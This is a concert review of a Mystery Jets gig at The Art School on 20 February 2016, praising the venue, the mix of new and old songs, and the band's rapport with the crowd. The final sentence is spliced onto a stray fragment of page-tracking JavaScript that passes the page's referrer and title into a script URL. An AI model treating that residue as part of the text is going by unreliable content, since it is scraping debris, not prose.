Gig review: Mystery Jets

mystery jets

The Art School – 20/02/16

By Gordon Wilson


After thoroughly enjoying Mystery Jets’ latest album, ‘Curve of the Earth’, I had high hopes for this concert. I arrived at The Art School at half eight; slightly late, having spent too much time sipping pints of Blue Moon and meeting a super friendly Jack Russell named Colin in The Butterfly & Pig. Due to this, I missed the supporting acts, Declan McKenna & Son.

I still had time to buy a super cheap pint (used to Edinburgh venue prices, I was sure that the staff had undercharged me) and find a space in the restless crowd before Mystery Jets took to the stage. This was my first time inside The Art School, which is a superb small venue: just enough space for a decent-sized crowd while ensuring everyone can see the band, easy access to the bar, decent lighting and, most importantly, cheap pints.

Blaine Harrison sliced the subdued murmur of the crowd with the first few soaring guitar notes of ‘Telomere’, the opening track from the new album. The heart-shuddering drums and piercing vocals stirred the crowd into an entranced shuffle. While the production values on ‘Curve of the Earth’ are superb, it’s safe to say that the recordings do not do justice to Mystery Jets’ live performances.

The band played ‘Blood Red Balloon’, ‘Bubblegum’ (which had everyone in the venue dancing along, including myself, a devout follower of the ‘I don’t dance because I look like a dick’ movement), ‘Midnight’s Mirror’, ‘Taken By The Tide’ and ‘Bombay Blue’. The new tracks sounded incredible live, as the confident riffs and spacey effects combined with Harrison’s vocals to fill The Art School with an unusual yet undeniably beautiful noise.

As a fan of the older albums, I was slightly concerned that the set list might be heavily biased towards the new album. This proved to be entirely false. We were treated to a bouncy rendition of ‘Young Love’, which had the crowd singing along, and my gig buddy and I chanting (okay, screaming) the lyrics at each other.

Halfway through the set, Harrison asked “Who was listening to us ten years ago?” before performing ‘You Can’t Fool Me Dennis’ from the band’s debut album, ‘Making Dens’. It’s always inspiring to see bands like Mystery Jets, who play their older songs with genuine enthusiasm. There are a few bands (which will remain nameless), who are too focused on ramming their new sound down the audience’s collective throat instead of considering the enjoyment of their fans. Thankfully, Mystery Jets is not one of them.

The band had some great patter, as Harrison suggested that his bandmates had enjoyed “a little too much orange juice” the night before. A quick-thinking audience member rushed to the bar to buy an orange juice, which they then passed to the band. These little moments between songs built a nice rapport between the band and the audience, making us feel like the band were genuinely enjoying their performance.

As the gig drew to an end, I realised that a couple of my favourite songs had not yet been played. I found it difficult to be disappointed due to the overall quality of the gig. My satisfaction soon turned to pure joy when Mystery Jets returned to the stage to belt out a blistering rendition of ‘Someone Purer’, followed by the final song of the night, ‘Two Doors Down’. It’s encouraging to see that the band’s pursuit of a more mature, serious sound has not compromised their ability to perform the quirky indie rock that built their following.

With a handful of gigs left to play in the UK, Europe and Japan, I’ll be surprised if the Mystery Jets don’t enthral some new fans and cement the loyalty of their existing fanbase with their new sound.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;